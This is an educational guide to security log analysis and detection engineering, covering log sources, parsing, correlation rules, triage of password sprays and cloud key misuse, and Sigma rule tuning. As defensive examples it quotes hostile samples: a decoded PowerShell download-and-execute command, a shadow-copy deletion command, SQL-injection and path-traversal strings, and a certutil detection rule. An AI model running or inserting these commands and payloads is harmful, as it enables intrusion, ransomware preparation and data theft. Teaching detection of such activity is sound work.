Security Monitoring and Log Analysis

An event is an observable occurrence, such as a sign-in or a process starting. A log records events. An alert says that monitored events matched detection logic. An incident actually or imminently threatens information or systems, or violates or imminently threatens to violate law, security policy, procedures, or acceptable-use policy. An analyst checks the evidence before deciding how to classify an alert.

Choose a source by its view

Firewalls record allowed and denied connections. Proxies and secure web gateways add URLs, user agents, and transfer sizes. VPN gateways show remote sessions; IDS/IPS tools report traffic matching their signatures. Flow records, including NetFlow and IPFIX, summarize conversations by addresses, ports, protocol, time, packets, and bytes. They remain useful for encrypted traffic because they describe its shape, but contain no payload.

Host logs reveal activity behind those connections. Windows Security events include authentication, account changes, and process creation when auditing is enabled. System and Application logs show services and software. Sysmon and EDR add process, file, registry, and network detail. PowerShell script block logging records script content in event 4104. Linux authentication messages commonly appear in /var/log/auth.log on Debian-family systems or /var/log/secure on Red Hat-family systems. The systemd journal is read with journalctl; auditd records the activity selected by its audit rules.

Web access and error logs, database audits, business-application audits, and email gateways explain requests and data use. Antivirus, DLP, WAF, and vulnerability-scanner findings add another view. A security tool's finding is still an event to interpret alongside the underlying activity.

Follow an address through time

A proxy records a download by 10.20.30.45 at 14:02 UTC. The DHCP lease assigns that address to LAPTOP-0193 from 13:30 to 21:30 that day. Search that laptop's process events around the download. Today's lease holder could be a different device; matching the address without the lease interval can send the investigation to the wrong host.

Verify collection before relying on it

Check an actual sample for the fields your question needs. Windows event 4688 needs the command-line capture policy to include command text. Sysmon network event 3 is disabled by default. A SIEM receives only the data sent to it. Prioritize useful detail on critical assets and privileged identities, and check allowed connections too: an allowed connection can carry an attack.

Parsing extracts named fields from a raw entry. A search for a text fragment can find a line; parsed fields let you count failures by user, compare addresses, and sort by event time. Keep the raw entry so you can check the extraction.

Read the structure first

RFC 5424 syslog begins with priority, version, timestamp, host, application, process ID, message ID, structured data, and message text. Older RFC 3164 timestamps such as Mar 14 10:15:02 omit the year and time zone, which must be resolved from the source context.

Syslog priority combines facility and severity:

For <38>, division by 8 gives facility 4 and remainder 6, Informational. For <34>, the same facility has severity 2, Critical. Severity numbers run from 0 Emergency through 1 Alert, 2 Critical, 3 Error, 4 Warning, 5 Notice, 6 Informational, and 7 Debug. A low number is more severe. This is the sending application's rating: an Informational SSH failure can still belong to an attack.

Windows EVTX files can be viewed as XML or rendered text. The System section identifies the provider, event ID, UTC creation time, computer, and channel. EventData holds fields specific to the event. For 4625, inspect TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName, and ProcessName. Type 10 means RemoteInteractive; type 2 means an interactive local logon. The same event ID can describe quite different access paths.

Extract fields by their meaning

JSON parsers look up keys, including nested paths such as responseElements.ConsoleLogin. They must handle missing and null fields and changing key order. Key-value records label values directly, as in src=203.0.113.45 dport=3389 action=deny. CEF adds a pipe-separated header containing vendor, product, signature, name, and severity before its key-value extensions; use a parser that understands its escaping.

In a combined web access log, read client address, identity, authenticated user, time and offset, request, status, response bytes, referrer, and user agent. A dash means a value is absent. User agents are supplied by clients, so a scanner name is useful evidence but an ordinary browser name can be imitated.

Extract two SSH message forms

This regex handles both a normal username and the phrase "invalid user":

Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)

In Failed password for invalid user admin from 203.0.113.45 port 52114, the captured values are admin, 203.0.113.45, and 52114. The optional noncapturing group consumes "invalid user " without making it the username. \S+ captures non-space text; \d+ captures digits.

The pattern extracts an address-shaped value; it also accepts octets such as 999, so address validation is a separate step. Avoid greedy .* where it can swallow a field separator. Join multiline records before parsing, and monitor parse failures after software updates: a changed layout can quietly leave detection fields empty.

Collection must keep working through ordinary outages and deliberate interference. An accurate rule has little value when its source stops sending or its timestamps put events in the wrong order.

Choose and monitor the route

An agent reads local logs and can buffer, filter, encrypt, and forward them. Agentless routes include syslog, Windows Event Forwarding, cloud API polling, and exports to storage or streams. Each route needs health monitoring. UDP syslog on port 514 is unencrypted and gives no delivery confirmation. TCP adds reliable delivery; syslog over TLS on port 6514 adds encryption and server authentication. Use reliable encrypted transport across untrusted networks and buffer events during collector outages.

Synchronize source clocks with a reliable time service, commonly NTP on UDP 123. Store UTC and keep the original offset. The firewall time 2026-03-14 10:15:00 +02:00 equals 2026-03-14T08:15:00Z. A host clock seven minutes fast places its events too late and can reverse a timeline. Large drift also breaks time-sensitive authentication; Windows Kerberos permits five minutes by default.

Event time records when activity happened. Ingest time records when the platform received it. Buffered and cloud events may arrive late. Correlate by event time and give scheduled searches enough delay or look-back to include late arrivals.

Protect and retain the record

Forward logs off hosts quickly, limit reading and deletion privileges, and separate log control from routine administration. Immutable storage and cryptographic digests help detect or prevent alteration. CloudTrail integrity validation uses SHA-256 digest files. Monitor Windows 1102 for audit-log clearing and 4719 for audit-policy changes, plus cloud actions such as StopLogging and DeleteTrail. Restrict access because logs can contain personal and sensitive data.

Retention follows investigation needs and applicable legal, contractual, or regulatory duties. For example, PCI DSS v4.0 requirement 10.5.1 requires at least 12 months of audit history and the most recent three months immediately available. Recent searchable storage is often called hot storage; archives cost less but take longer to search or restore. Defaults alone may be too short: Entra audit and sign-in logs retain 7 days on Free or 30 days on P1/P2, while CloudTrail event history offers 90 days of management events. Export supports longer retention.

Estimate volume and watch for silence

For 2,000 endpoints producing 5,000 events each day at 500 bytes each, the daily raw volume is 5,000,000,000 bytes, or 5 GB. Ninety days requires 450 GB; a year requires 1.825 TB before compression, indexing, and other storage overheads.

Track expected volume and heartbeats for critical sources, collector errors, queue backlogs, and parse failures. "No DC01 events for 30 minutes" is a health alert even when no attack alert fired. A logging standard should specify audit categories, command-line capture, script logging, and appropriate detail for each system type. Error-only collection misses security activity; routine debug collection can overwhelm storage.

A Windows event, a Linux message, and a cloud record can describe the same kind of action with different names. Normalization gives those fields common names, types, and value conventions. Enrichment adds information about the people, systems, and destinations involved.

Normalize meanings, not just names

For failed sign-ins by jdoe from 203.0.113.45, all three sources can become event.category=authentication, event.outcome=failure, user.name=jdoe, and source.ip=203.0.113.45. One source-grouped authentication rule can then search all three.

Common schemas include ECS, OCSF, CIM, and ASIM. The example field names follow ECS style. A schema also defines data types and allowed values. Store addresses as address values so subnet searches work. Convert times to ISO 8601 UTC. Map different representations of success or failure to a shared outcome, using the source action's actual meaning. A firewall's "allowed" result describes a connection decision, not a successful user authentication.

Resolve identities such as EXAMPLE\jdoe, jdoe@example.com, and JDOE to the same account where they truly represent that account. Case folding is appropriate when the source treats case as equivalent. Preserve distinctions where case matters, and avoid merging two people merely because their short usernames match.

Add context that changes the question

Useful enrichment includes asset owner, operating system, business role, criticality, and internet exposure; user department, privilege, service-account status, and employment status; DHCP history; and public-address network owner, approximate location, and reputation.

An alert reports repeated failures for svc-backup from 10.20.30.45. Asset context identifies a marketing laptop. Identity context says that this service account normally signs in only from backup server 10.0.8.12. The unexpected relationship deserves attention even before the failure count becomes large.

Know when context was attached. Ingest-time enrichment preserves the context available when the event arrived. Search-time enrichment usually shows the current state. A current asset owner or address assignment can misdescribe older events, so use historical records when the question concerns past ownership.

Check mappings and reductions

Geolocation can be distorted by VPNs, mobile carriers, proxies, and cloud hosting. Reputation changes as infrastructure changes owners. Use both as supporting evidence and inspect their age. Validate field mappings against raw samples: mapping a destination into source.ip can make a rule blame the wrong system.

Deduplication removes repeat deliveries of one event. Aggregation combines several events, perhaps storing one count for 1,000 denies. Aggregation saves space but discards individual details. Retain the fields and raw events required by detections and investigations; filtering them out at the source creates a gap no later correlation can repair.

An indicator of compromise is an observable artifact suggesting compromise. An atomic indicator is a single address, domain, URL, or hash. A behavioral indicator is a pattern, such as a workstation contacting many peers on port 445. Atomic values are quick to match and easy to replace; behavior describes what the actor does.

Read the shape of connections

A vertical scan probes many ports on one host. A horizontal sweep probes one port on many hosts. Many denied or reset connections with tiny byte counts fit scanning, but authorized vulnerability scanners do the same work. Compare source, scope, and schedule. Background internet probing of a perimeter has a different context from scanning by an internal workstation.

Unexpected relationships matter as much as ports. Workstations suddenly contacting one another by SMB 445, RDP 3389, or WinRM 5985/5986 can indicate lateral movement. Management servers and jump hosts may legitimately do this. A database server initiating SSH, an internet-exposed workstation accepting RDP, or traffic whose protocol does not fit its port merits a closer look. A port number suggests a service; it does not establish the actual protocol.

New MAC addresses in DHCP, switch, NAC, or wireless-controller logs can reveal rogue devices. Compare with inventory and onboarding records: a new printer and an unknown device on a server segment create different risks.

Examine repetition and naming

Beaconing is repeated command-and-control contact. The times 0, 60, 121, 180, 241, 299, 360, 421, 480, and 540 seconds give gaps averaging 60 seconds with about 1.1 seconds of spread. Small requests, a repeated user agent, and overnight continuity strengthen the pattern. Check the initiating process and destination because updaters and telemetry also call home. Attackers can add random delay, or jitter.

DNS offers another view. A domain generation algorithm can produce many random-looking names and many NXDOMAIN answers. DNS tunneling can produce long labels, numerous unique subdomains beneath one domain, and unusual TXT query volume. A DNS label is limited to 63 characters. Shannon entropy measures character randomness: example is about 2.52 bits per character, while x9f3kq7z2b8wp1md is 4.0. High entropy also appears in legitimate cloud names; combine it with query volume, destination history, and domain age.

Follow volume and direction

Possible exfiltration includes unusually large outbound transfers to new destinations, unusual timing, or a high upload-to-download ratio. A server uploading 2.3 GB while receiving 40 MB has a ratio of 57.5 to 1, using decimal units. Check known backups and synchronization jobs before deciding why it happened. HTTPS hides payload content while still exposing useful volume and timing metadata.

NAT can place many devices behind one public address. Resolve the internal source using NAT, proxy, or internal firewall records at the relevant time. A destination's country alone gives too little context to decide whether a connection is malicious.

Host telemetry connects network activity to the program and user responsible. Process creation is especially useful: Windows 4688 with command-line capture or Sysmon 1 shows the new process, command line, parent, and user. Sysmon also supplies hashes and process identifiers useful for linking events.

Read the parent and arguments

Legitimate signed tools can be abused as living off the land binaries. certutil.exe can download files, mshta.exe can run remote script content, and rundll32.exe can load a DLL from a writable folder. vssadmin delete shadows /all /quiet removes shadow copies and can precede ransomware. Judge the arguments, parent, user, path, signer, and surrounding actions together. A familiar filename alone tells little about intent.

PowerShell's -EncodedCommand carries Base64-encoded UTF-16LE text. Decoding the worked command yields iwr http://198.51.100.23/a.ps1|iex: download a script and execute it in memory. Encoding and hidden windows also occur in administration. Read the decoded content and, when available, script block event 4104.

Look for a way back in

Persistence allows access after reboot or logoff. Watch new services (7045 in System or 4697 in Security), scheduled tasks (4698), registry Run values (Sysmon 13), startup files (Sysmon 11), and new local accounts (4720). On Linux, review cron entries, systemd units, and new keys in ~/.ssh/authorized_keys. A task pointing to C:\Users\Public\upd.exe needs a different explanation from a documented software deployment.

Log clearing (1102), audit-policy changes (4719), a stopped Sysmon service (Sysmon 4), or removal of an EDR agent can indicate monitoring tampering. Check maintenance records promptly. Other clues include unapproved remote-access tools, unusual access to lsass.exe memory (Sysmon 10), and rapid file changes with ransom notes. High CPU or GPU use can fit cryptomining, but compare workload and scheduled jobs; a brief spike is weak evidence.

Build the execution chain

At 09:12:04 UTC, Outlook starts Word with Invoice_8841.docm. At 09:12:31, Word starts encoded PowerShell. At 09:12:33, that PowerShell process connects to 198.51.100.23:80; at 09:12:40, upd.exe is written; at 09:13:02, a scheduled task launches it at logon. Link the process and file records, not just nearby timestamps. The chain shows delivery, execution, download, and persistence and supports escalation. Missing host telemetry must remain a visible gap in the record.

Web and application logs reveal activity hidden inside ordinary HTTPS connections. Access logs describe requests, response codes, sizes, and client claims. Application and database audits add who accessed data, changed permissions, ran queries, or exported records.

Decode the request

URL encoding represents bytes with % followed by two hexadecimal digits. The fragment id=1%27%20OR%201%3D1--%20 becomes id=1' OR 1=1-- , suggesting SQL injection. The path ..%2F..%2F..%2Fetc%2Fpasswd becomes ../../../etc/passwd, suggesting path traversal. Other clues include UNION SELECT, script tags, or shell separators followed by commands.

Decode layers in order. %252e%252e%252f becomes %2e%2e%2f and then ../. Keep both the raw request and the decoded interpretation; replacing the original loses evidence of how the input was sent.

Read the sequence around the response

Codes describe HTTP handling, not the whole security outcome. Some applications use 200 for error pages, and a WAF can return a block page with 200. A scanner user agent is client-controlled. Neither a familiar user agent nor one blocked request settles the investigation.

In the worked sequence, a client makes 412 requests in three minutes, with 398 returning 404. An injection probe then returns 500; a later UNION SELECT request returns 200 with 48,210 bytes against the usual 2,100. The roughly 23-fold size increase after probing supports possible data exposure. Check database queries and application audit events to establish what was actually returned.

Connect application and host evidence

A web shell is a script that lets an attacker run commands through web requests. A new script in an upload folder, repeated POST requests from a few clients, and parameters such as cmd= warrant investigation. A matching web-server process spawning cmd.exe or /bin/sh adds direct host evidence of execution.

Watch application identities too: successes after failures, unexpected API-key origins, rate-limit bursts, and an ordinary user exporting thousands of records can reveal account abuse. These patterns require useful audit fields, not just error logs. If requests and errors spike after a deployment, examine the deployment and client sources alongside attack hypotheses; a faulty release or genuine traffic surge can also cause disruption.

Cloud providers protect their infrastructure; customers must enable, collect, and review monitoring for their accounts, identities, and resources. Console clicks, scripts, command-line tools, and infrastructure templates generally manage resources through APIs. Their audit trail answers who created, changed, or deleted a resource. Activity inside a virtual machine or application still needs workload logs.

Choose the right cloud layer

CloudTrail event history gives 90 days of recorded management events per region. Longer history and broader coverage need deliberate configuration, and data events are off by default. Google Admin Activity logs are always written and cannot be disabled; Data Access logs are off by default except for BigQuery. Enable useful data-access collection on sensitive resources and account for its volume.

Read a cloud action field by field

In CloudTrail, eventTime is UTC; eventSource identifies the service; eventName identifies the API action. userIdentity identifies the caller, while requestParameters identifies the requested target and settings. Also read sourceIPAddress, userAgent, awsRegion, responseElements, and any errorCode or errorMessage.

For a console login, inspect ConsoleLogin from signin.amazonaws.com, the success or failure under responseElements.ConsoleLogin, and additionalEventData.MFAUsed. For a new key, separate the caller from the user named in requestParameters.userName. They can be different identities.

Recognize linked cloud indicators

A stolen key may first call GetCallerIdentity, then enumerate with List, Describe, and Get. Repeated AccessDenied results reveal permission probing even when access controls hold. New credentials, unexpected role assumptions, root use, or changes that expose ports 22/3389 to 0.0.0.0/0 warrant context checks. Many large GPU instances in an unused region can indicate resource hijacking.

In the worked sequence, ci-deploy moves from its usual build-server address and SDK user agent to a new address and CLI. It enumerates resources, creates a key for admin-backup, then calls StopLogging. Together these actions suggest credential misuse, continued access, and an attempt to blind monitoring. Escalate and check independent sources for later activity.

Collect across relevant regions and accounts. Short-lived resources can disappear before triage; use stable resource IDs and tags, and ship host logs centrally. A shared cloud address alone cannot identify a tenant or establish that activity belongs to the organization's usual automation.

An identity provider authenticates users for many applications. Its sign-in record can show user, app, address, device, client, method, MFA result, policy result, and failure reason. Entra separates interactive, non-interactive, service-principal, and managed-identity sign-ins. A search limited to interactive users misses application and token activity.

Interpret Windows authentication

Domain controllers record Kerberos ticket activity (4768, 4769, 4771) and NTLM credential validation (4776). The accessed computer records 4624 for success and 4625 for failure. Event 4740 records an account lockout.

In 4625, inspect both Status and SubStatus. 0xC000006A indicates a wrong password, 0xC0000064 an unknown username, 0xC0000072 a disabled account, 0xC0000234 a locked account, and 0xC000006F a logon outside allowed hours. These reasons distinguish a password problem from a policy or account-state problem.

Group events to expose the attack

Brute force makes many guesses against one account. Password spraying tries one or a few likely passwords across many accounts, often staying below per-account lockout limits. Credential stuffing reuses leaked username-password pairs. Count attempts per account and distinct accounts per source, then look for successes. Attackers can distribute attempts across addresses, so neither grouping alone gives complete coverage.

In the worked spray, one address attempts 46 usernames once each: 41 wrong-password results and five unknown-user results. A later network-logon success for m.tanaka from that source raises priority. It strongly suggests working credentials after the spray, but check the authentication package and subsequent activity: type 3 can also use stolen hashes or tickets.

Check how the session was established

Impossible travel compares distance with elapsed time. Madrid and Seoul are about 10,000 km apart; 45 minutes would require roughly 13,300 km/h. Check VPN exits, hosted desktops, mobile-carrier geolocation, devices, and session outcomes before deciding the cause.

Repeated denied MFA pushes followed by approval can indicate MFA fatigue. An unusual session with MFA satisfied by an existing token can reflect token replay. Legacy authentication paths without MFA and a new registered MFA method after a risky sign-in also deserve attention. A completed MFA step alone leaves these paths unexplained.

A service account signing in interactively, a departed employee's account succeeding, or a new device and location together may indicate stolen access. Repeated rhythmic failures from one internal device often fit a stale saved password. Follow failures into successes and actions, and check both user and workload identities.

An attacker who gains access may create another credential or add privileges to keep operating. Sensitive account and role changes are often rare enough to review closely, especially when they follow an unusual sign-in.

Identify actor, target, and change

Read five facts: who acted, which account or resource was changed, what changed, when, and from where. In an account-change event, the subject is the actor and the target is the affected account. Then compare the action with an approved request and with what the actor normally manages.

Windows events include 4720 for account creation, 4722 for enabling, 4724 for a password-reset attempt, and 4738 for account changes. Membership additions appear as 4728, 4732, and 4756 for security-enabled global, local, and universal groups. Review sensitive groups such as Domain Admins, Enterprise Admins, Schema Admins, and local Administrators. Nested membership matters: a change to a group inside a privileged group can grant effective privilege too.

Event 4672 assigns special privileges at a new logon. It occurs during routine administrator and system-account work. Ask whether this account should have the privileges and whether this logon origin is expected; counting every 4672 as an escalation would create noise.

Extend the same questions to the cloud

In AWS, examine CreateUser, CreateAccessKey, policy attachment or inline-policy actions, and UpdateAssumeRolePolicy. A trust-policy change can let another account assume a role. Read the actual permission or trust change, not only its action name.

Entra audit events can show role additions, new service-principal credentials, application consent, MFA registration, and conditional-access changes. A secret or certificate added to a powerful application identity can preserve access without a human MFA prompt. OAuth consent can give an app continuing access to mail or files even after a user's password changes; review the consent grant itself.

Join the events around a privilege change

At 23:40 UTC, helpdesk account hd-ops3 adds svc-backup to Domain Admins without a ticket. At 23:31, the actor had signed in through an unexpected VPN origin; at 23:44, the target uses RDP to DC02. The unusual actor, missing authorization, risky preceding access, and immediate use of the new right support escalation.

Twelve accounts created by the identity-management service at 07:00 and matched to the onboarding list tell a different story. Authorization is evidence to check, not an assumption based on an administrator's name.

Focus monitoring on privileged memberships, powerful roles, service accounts, credentials, consents, and changes outside normal channels. Account creation alone misses an attacker who modifies an existing account or application. Keep the event identifiers, before-and-after values, and authorization reference in the triage record so the decision can be reviewed.

A baseline describes an entity's normal behavior over a reference period. An anomaly is a significant departure from it. Unusual activity needs an explanation: it may be an attack, a business change, or a data problem.

Compare the right things

A useful baseline can describe volume, timing, relationships, or configuration. Examples include bytes per day, usual working hours, normal destinations, approved software, and open ports. A peer-group baseline compares people or systems doing similar work, which helps when an entity has little history.

Choose the entity and metric first. Use several weeks to capture weekly cycles, and include month-end or quarter-end peaks when relevant. Remove known incidents and outages from training data. Compare Monday at 09:00 with similar Monday periods, not with a quiet Sunday. New software, organizational changes, and seasonal activity require review; otherwise ordinary change becomes a stream of anomalies.

Calculate and interpret the deviation

The mean measures average level, and standard deviation measures spread. A z-score expresses distance from the mean in standard-deviation units:

For FS01, ten working-day outbound totals have a mean of 4.1 GB and sample standard deviation about 0.26 GB. A three-standard-deviation threshold is about 4.87 GB using the unrounded spread. Today's 9.6 GB has a z-score around 21. The next searches should establish destination, process or account, and scheduled work; the statistic alone cannot supply a cause.

Mean plus three standard deviations is a starting approach for roughly bell-shaped data. Security volumes are often skewed, with many small observations and a few very large ones. Medians and percentiles can give more useful comparisons. A threshold above the historical 99th percentile identifies an unusually large observation without assuming a bell-shaped distribution. It still depends on a representative reference period.

Combine weak signals by entity

User and entity behavior analytics, or UEBA, builds behavioral profiles, often using machine learning and peers. Risk-based alerting adds scores for the same entity over a period. A new-country sign-in worth 40 points, first administrative-tool use worth 30, and a large download worth 45 total 115 within 24 hours. With a threshold of 100, the combined alert presents a stronger story than three separate weak alerts.

The identity and time window are essential. Adding unrelated users' scores would create a different and misleading result. Scores rank evidence; they are not probabilities unless the system explicitly defines them that way.

A poisoned baseline can learn attacker behavior as normal. Low-and-slow activity can also remain below a volume threshold, such as 200 MB added to a server's usual 4 GB daily transfer. Combine anomaly logic with known-behavior rules and data-source health checks, and reassess thresholds when normal activity changes.

A security information and event management (SIEM) system collects, parses, normalizes, stores, and searches events, then applies rules or analytics to raise alerts. Correlation links events sharing an identity, host, address, session, or other attribute within a time span. SOAR tools can automate work on the resulting alerts.

Write the rule as parts

Every rule needs a filter, grouping key, window, aggregation, condition, and alert output. State each part before choosing product syntax.

The grouping key determines what the rule can detect. Counts per account reveal concentrated guessing. Distinct users per source reveal single-source spraying. Distinct sources per account reveal distributed attacks on that account. Distributed spraying across both different accounts and addresses can remain below all those thresholds; examine shared target applications, timing, client features, or total failure-rate changes.

Work a sequence

First select authentication failures grouped by user.name and source.ip, with at least 10 failures within 5 minutes. Then require a success for that same user and source within the following 10 minutes. Twelve failures by jdoe from 198.51.100.20 between 10:03:10 and 10:06:40, followed by success at 10:07:05, satisfy both stages. A success for a different user must not complete the sequence.

Sigma can express correlations over base rules with type, rules, group-by, timespan, and condition. Types include event_count, value_count, temporal, and temporal_ordered. An event-count correlation over a failed-logon rule can group by TargetUserName, use 5m, and require gte: 10. Conversion to a backend still needs correct field mapping and supported semantics.

Make timing match the intended pattern

Fixed windows divide time into blocks. Six failures in 10:00–10:05 and four in 10:05–10:10 never reach ten in either block. A sliding five-minute window can catch all ten if the burst fits within it. Longer windows can capture slower attacks and require more processing. Alert latency depends on run frequency, ingestion delay, and whether evaluation waits for a window to close.

Use event time and account for late arrivals with suitable delay or look-back. Normalize cross-source fields, correct clock problems, and deduplicate repeat deliveries by event identity before counting. Overlapping rule runs also need alert grouping so the same burst does not flood the queue.

The alert should carry the rule purpose, user or host, addresses, counts, first and last times, severity, raw-event links, and triage guidance. Check required data and local volumes before deployment: correlation cannot reconstruct an event the source never recorded.

An alert can be technically correct without requiring incident handling. Use consistent outcome labels so closure records help improve detections instead of hiding why alerts were closed.

Separate the behavior from its meaning

An authorized vulnerability scanner really scans. A scanning rule that sees it is a benign true positive. A parser error that makes normal traffic appear to scan is a false positive. Different teams use labels differently; the important operational requirement is one consistent definition and a recorded reason.

Behavior-match accuracy asks whether the described behavior occurred. Alert precision here asks what share of all alerts were confirmed malicious. Its denominator includes false positives and benign true positives:

Six malicious alerts among 200 total give 3% precision. If the scanner accounts for many correct but authorized matches, behavior-match accuracy can be good while alert precision is low. That suggests changing the rule's operational scope, not pretending its observations were wrong.

Account for what was missed

Recall measures the share of real malicious activity detected:

Missed cases may emerge through incidents, hunts, red-team work, or controlled tests. Without such evidence, a quiet queue tells little about recall. Raising a threshold can remove noisy alerts while missing slower attacks, so evaluate both detected and missed behavior.

The base rate matters because attacks are rare among ordinary events. A 0.1% misfire rate over roughly two million benign events produces about 2,000 false alerts. Even a small percentage can overwhelm a team. Aggregation, stronger context, and risk scoring can make weak signals more useful.

Decide what needs attention first

Severity describes how serious the detected activity would be if true. Priority determines handling order using severity, confidence, and asset or user criticality. A medium-severity alert on a domain controller can be more urgent than a high-severity alert on an isolated test machine.

Repeated low-value alerts create alert fatigue: analysts skim and real attacks become easier to miss. Each queued alert should support an action or decision. Keep nonactionable observations available in logs or dashboards. Record closure evidence and reasons so engineers can distinguish bad parsing, authorized behavior, duplicate output, and actual malicious detections when tuning.

Triage is the first assessment of whether an alert is real, how urgent it is, and what should happen next. Work within the team's response targets and use priority to decide which alert to examine first.

Follow a repeatable path

1. Understand. Read the rule's purpose, logic, entities, time range, and runbook. Know which behavior it claims and its expected benign causes.
2. Validate. Open the raw events. Check parsing, timestamps, host and identity, event outcome, duplicates, and test data. A convincing title cannot repair a wrong source-field mapping.
3. Add context. Check asset role and owner, privilege, normal activity, change tickets, scheduled tests, indicator reputation, and earlier closures.
4. Scope. Search related hosts, users, destinations, hashes, and alerts before and after the match. Build a short UTC timeline.
5. Decide and document. Close with a supported outcome, keep watching with a reason, or escalate a suspected incident.

A claimed maintenance window needs a matching authorization record. A familiar administrator account may itself be compromised. Context checks should test the plausible explanation instead of simply accepting it.

Work the password-spray alert

The alert reports 198.51.100.77 attempting 46 accounts from 10:00 to 10:20 UTC. Raw 4625 records show 41 wrong-password and five unknown-user results, all type 3. The address is not an authorized scanner, and there is no scheduled penetration test.

Search successes from the same origin and time range. A 4624 for m.tanaka appears at 10:21, followed by mailbox access at 10:24. These follow-on events raise confidence and urgency beyond a set of blocked guesses. Document which account succeeded and which accounts have no observed success. Absence in the available logs should remain tied to that search scope.

The decision is to escalate as malicious activity with high priority. Attach the raw records, queries, authorization checks, and timeline. Reputation reports support the decision, but the linked authentication and mailbox actions carry the main evidence.

Leave a record another analyst can use

A closure record states what was checked, the relevant event IDs and times, query scope, supporting evidence, reasoning, and outcome. For a benign true positive, include the authorization reference and who confirmed it. For a false positive, explain the mismatch and raise a tuning request if it recurs.

An escalation handoff gives what happened, when, affected entities, evidence, assessed severity and confidence, unanswered questions, and any immediate risk such as an active session or ongoing outbound transfer. The incident response team needs to distinguish observed facts from hypotheses. If impact could be high and important doubt remains, escalate the uncertainty clearly instead of waiting for every possible check.

Set a time limit for low-priority work so it does not displace critical alerts. Save enough query and result detail that the next analyst can reproduce the search and continue from the same evidence.

A good investigation query answers a specific question. Start with the alert's time and entity, select useful fields, and sort by event time. Widen the search when a result gives you a reason to do so.

Move from one clue to related evidence

A vendor-neutral query might ask for authentication events from 198.51.100.77 over 24 hours, grouped by user.name and event.outcome. Counts reveal breadth; the raw rows establish exact actions and times. A single search over months of every source is often slow and difficult to interpret.

Pivoting moves through a relationship: address to contacting hosts, host to initiating process, process to user, user to sign-ins. Keep a note of the query, time bounds, identifiers, and result at each step. Match process identifiers and event times where available; a reused address or process number can otherwise create a false link.

Decode without executing

PowerShell -EncodedCommand uses Base64 of UTF-16LE text. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== decodes to whoami /all. Select the correct text encoding after decoding bytes. A tool such as CyberChef can chain steps; record the layers and preserve the original value. Decoding reveals text for inspection; it does not require running the command.

Add external context safely

Registration information, domain age, network ownership, geolocation, IP reputation, hash lookups, and existing sandbox reports can guide the next search. A recent domain or reported shared-cloud address needs corroboration. A clean reputation can reflect a new or little-seen threat.

Protect investigation data: use approved lookup tools and isolated sandboxes, look up a hash instead of uploading a sensitive file to a public scanner, and avoid direct visits to suspected infrastructure from the corporate network. Public uploads may expose confidential files or reveal an investigation to an attacker.

AI assistants can summarize logs, explain commands, or draft searches. Verify their suggested fields and conclusions against raw events and documentation. Use tools allowed by the organization's data policy. Treat attacker-controlled log strings, including user agents and filenames, as data even when they contain instructions aimed at an AI system.

Keep lists of entities distinct

A proxy pivot from one host finds three more contacting the same address: four hosts had contact. An email search finds 14 recipients of a document. These are different populations. Confirm execution on the hosts with endpoint evidence and map recipients to their devices before extending the scope. Network contact alone leaves execution unanswered, and subtracting host counts from recipient counts gives a meaningless result.

Detection engineering treats rules as a repeatable design, testing, and maintenance process. Detections as code keeps them in version control with review and automated checks, so a change can be explained and reproduced.

Start with the behavior and data

Define the requirement from a relevant threat, incident, ATT&CK technique, red-team finding, or known gap. Identify the source and fields that reveal it. Confirm collection, parsing, and normalization before writing logic. Then write, test, document, deploy, tune, review, and eventually retire the detection.

Atomic indicators such as one file hash can quickly identify a known artifact. Behavior rules, such as an Office program starting a script interpreter, survive more changes to the artifact. Map the behavior to relevant ATT&CK techniques, for example T1059.001 for PowerShell or T1105 for ingress tool transfer. A label records the intended coverage; a successful test establishes that the local implementation actually detects it.

Read a Sigma rule

Sigma is a portable YAML detection format. A rule has title, logsource, and detection. Log-source attributes such as product, category, and service select appropriate data; use the combination that identifies the source. Named selections describe matches, and condition combines them. Multiple fields in one selection use AND; a list of values normally uses OR. Modifiers such as contains, endswith, and all change matching.

title: Certutil Download Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  condition: selection_img and selection_cli
falsepositives:
  - Administrative file download
level: high
tags:
  - attack.t1105

This rule requires the executable image to end in \certutil.exe and the command line to contain both urlcache and http. It needs process creation with command lines, such as Sysmon 1 or suitably configured 4688. Convert and check it against the backend's field mappings. Renaming the binary can defeat this particular image test, so document that limit.

Test and make the alert usable

Replay malicious-like events or run approved safe simulations in a test environment. Confirm the expected alert and its entity fields. Run historical normal data, perhaps 30 days, to estimate noise. Include edge cases: letter case, quotes, spacing, absent fields, renamed tools, and plausible administrative uses. A test that fires once establishes less than a positive test plus boundary and noise tests.

Document purpose, required sources, logic, ATT&CK mapping, severity, known benign causes, triage steps, test evidence, expected volume, owner, and review date. A monitoring-only rollout lets the team inspect real output before relying on it operationally. Rules need an owner to respond when source layouts or business activity change.

Tuning changes rule logic, thresholds, scope, or context to make alerts more actionable while preserving the intended detection. Begin with closure records: bad parsing, authorized behavior, and repeated output require different fixes.

Choose a change that fits the cause

For known authorized behavior, use a narrow exception. For unrelated events, add a meaningful condition such as parent process, full path, command-line element, identity role, or asset context. Adjust thresholds and windows against measured activity. Group repeated matches into one alert per entity and period. A weak signal can contribute to risk scoring instead of creating a separate queue item.

Exclusions need an owner, reason, and review or expiry date. Exclude a scanner's specific address and identity for the scanning rule, with its approved schedule. Excluding all of 10.0.0.0/8 would blind the rule to internal attacks. A backup exception should use a trusted full path and signer; malware can copy a filename such as backup.exe. A whole writable folder such as C:\Temp\ is an unsafe shortcut.

Measure the worked change

A scanning rule raises 200 alerts in a month; six are confirmed malicious. Alert precision is 3%. Triage finds 150 authorized-scanner matches from 10.0.9.15 during its scan window. Excluding that source for this rule and window leaves 50 alerts, including the same six malicious ones:

Volume falls by 75%. The observed malicious detections are retained, and scanning by that host outside its window still alerts. That retrospective result does not cover every future attack path; test malicious activity near the exclusion boundary too, including possible misuse of an approved system.

Raising a failure threshold from 10 to 50 in five minutes may suppress ordinary retries but also misses attacks between those values. Disabling the rule removes its coverage completely. Rerun positive tests after every tuning change and inspect which previously detected cases now disappear.

Keep quality and data health visible

Track volume per rule, confirmed malicious detections, precision, and known missed cases. A false-positive rate needs a defined denominator; the share of alerts closed as false positives is a different measure from the rate across benign events. Document which metric the team reports.

